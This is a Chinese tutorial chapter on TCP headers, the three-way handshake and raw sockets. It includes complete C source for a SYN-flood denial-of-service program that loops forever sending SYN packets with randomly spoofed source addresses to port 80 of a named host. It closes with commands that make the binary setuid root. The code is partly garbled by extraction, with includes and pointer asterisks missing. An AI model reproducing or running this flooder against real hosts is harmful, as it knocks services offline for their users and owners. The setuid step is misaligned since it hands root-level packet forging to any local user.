TCP协议 - 图1

    TCP
    TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂.
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    TCP的结构在中定义为:
    struct tcphdr
    {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
    #if BYTE_ORDER == LITTLE_ENDIAN
    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
    #elif BYTE_ORDER == BIG_ENDIAN
    u_int16_t doff:4;
    u_int16_t res1:4;
    u_int16_t res2:2;
    u_int16_t urg:1;
    u_int16_t ack:1;
    u_int16_t psh:1;
    u_int16_t rst:1;
    u_int16_t syn:1;
    u_int16_t fin:1;
    #endif
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_prt;
    };
    source发送TCP数据的源端口
    dest接受TCP数据的目的端口
    seq标识该TCP所包含的数据字节的开始序列号
    ack_seq确认序列号,表示接受方下一次接受的数据序列号.
    doff数据首部长度.和IP协议一样,以4字节为单位.一般的时候为5
    urg如果设置紧急数据指针,则该位为1
    ack如果确认号正确,那么为1
    psh如果设置为1,那么接收方收到数据后,立即交给上一层程序
    rst为1的时候,表示请求重新连接
    syn为1的时候,表示请求建立连接
    fin为1的时候,表示亲戚关闭连接
    window窗口,告诉接收者可以接收的大小
    check对TCP数据进行较核
    urg_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值
    关于TCP协议的详细情况,请查看

    TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.我们把这个连接过程称为”三次握手”.
    下面我们从一个实例来分析建立连接的过程.
    第一步客户机向服务器发送一个TCP数据包,表示请求建立连接. 为此,客户端将数据包的SYN位设置为1,
    并且设置序列号seq=1000(我们假设为1000).
    第二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.于是服务器也向客户端发送一个TCP数据包.
    因为是响应客户机的请求, 于是服务器设置ACK为1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为2000).
    第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.
    客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接.
    最后一步服务器受到确认信息,也完成连接.
    通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议可以保证自己去处理错误的.

    原始套接字
    我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外
    一种套接字—原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能.
    注意原始套接字只能够由有 root权限的人创建.
    10.1 原始套接字的创建
    int sockfd(AF_INET,SOCK_RAW,protocol)
    可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
    详细的情况查看 socket的man手册 下面我们以一个实例来说明原始套接字的创建和使用
    10.2 一个原始套接字的实例
    还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码
    /** DOS.c */
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #define DESTPORT 80 / 要攻击的端口(WEB) /
    #define LOCALPORT 8888
    void send_tcp(int sockfd,struct sockaddr_in addr);
    unsigned short check_sum(unsigned short
    addr,int len);
    int main(int argc,char argv)
    {
    int sockfd;
    struct sockaddr_in addr;
    struct hostent host;
    int on=1;
    if(argc!=2)
    {
    fprintf(stderr,”Usage:%s hostname\n\a”,argv[0]);
    exit(1);
    }
    bzero(&addr,sizeof(struct sockaddr_in));
    addr.sin_family=AF_INET;
    addr.sin_port=htons(DESTPORT);
    if(inet_aton(argv[1],&addr.sin_addr)==0)
    {
    host=gethostbyname(argv[1]);
    if(host==NULL)
    {
    fprintf(stderr,”HostName Error:%s\n\a”,hstrerror(h_errno));
    exit(1);
    }
    addr.sin_addr=
    (struct in_addr )(host->h_addr_list[0]);
    }
    /*
    使用IPPROTO_TCP创建一个TCP的原始套接字 /
    sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
    if(sockfd<0)
    {
    fprintf(stderr,”Socket Error:%s\n\a”,strerror(errno));
    exit(1);
    }
    /**
    设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 /
    setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
    /*
    没有办法,只用超级护用户才可以使用原始套接字 */
    setuid(getpid());
    /* 发送炸弹了!!!! **/
    send_tcp(sockfd,&addr);
    }

    /* 发送炸弹的实现 */
    void send_tcp(int sockfd,struct sockaddr_in addr)
    {
    char buffer[100]; / 用来放置我们的数据包 /
    struct ip
    ip;
    struct tcphdr tcp;
    int head_len;
    /**
    我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 /
    head_len=sizeof(struct ip)+sizeof(struct tcphdr);
    bzero(buffer,100);
    /*
    填充IP数据包的头部,还记得IP的头格式吗? **/
    ip=(struct ip )buffer;
    ip->ip_v=IPVERSION; / 版本一般的是 4 /
    ip->ip_hl=sizeof(struct ip)>>2; / IP数据包的头部长度 /
    ip->ip_tos=0; / 服务类型 /
    ip->ip_len=htons(head_len); / IP数据包的长度 /
    ip->ip_id=0; / 让系统去填写吧 /
    ip->ip_off=0; / 和上面一样,省点时间 /
    ip->ip_ttl=MAXTTL; / 最长的时间 255 /
    ip->ip_p=IPPROTO_TCP; / 我们要发的是 TCP包 /
    ip->ip_sum=0; / 校验和让系统去做 /
    ip->ip_dst=addr->sin_addr; / 我们攻击的对象 /
    /**
    开始填写TCP数据包 */
    tcp=(struct tcphdr )(buffer +sizeof(struct ip));
    tcp->source=htons(LOCALPORT);
    tcp->dest=addr->sin_port; / 目的端口 /
    tcp->seq=random();
    tcp->ack_seq=0;
    tcp->doff=5;
    tcp->syn=1; /* 我要建立连接
    /
    tcp->check=0;

    / 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ /
    while(1)
    {
    / 你不知道我是从那里来的,慢慢的去等吧! /
    ip->ip_src.s_addr=random();
    / 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
    /
    下面这条可有可无 /
    tcp->check=check_sum((unsigned short
    )tcp,
    sizeof(struct tcphdr));
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
    }
    }
    / 下面是首部校验和的算法,偷了别人的 /
    unsigned short check_sum(unsigned short addr,int len)
    {
    register int nleft=len;
    register int sum=0;
    register short
    w=addr;
    short answer=0;
    while(nleft>1)
    {
    sum+=w++;
    nleft-=2;
    }
    if(nleft==1)
    {
    (unsigned char )(&answer)=(unsigned char *)w;
    sum+=answer;
    }

    sum=(sum>>16)+(sum&0xffff);
    sum+=(sum>>16);
    answer=~sum;
    return(answer);
    }
    编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,
    我们应该将这个程序的所有者变为root,且 设置setuid位
    [root@hoyt /root]#chown root DOS
    [root@hoyt /root]#chmod +s DOS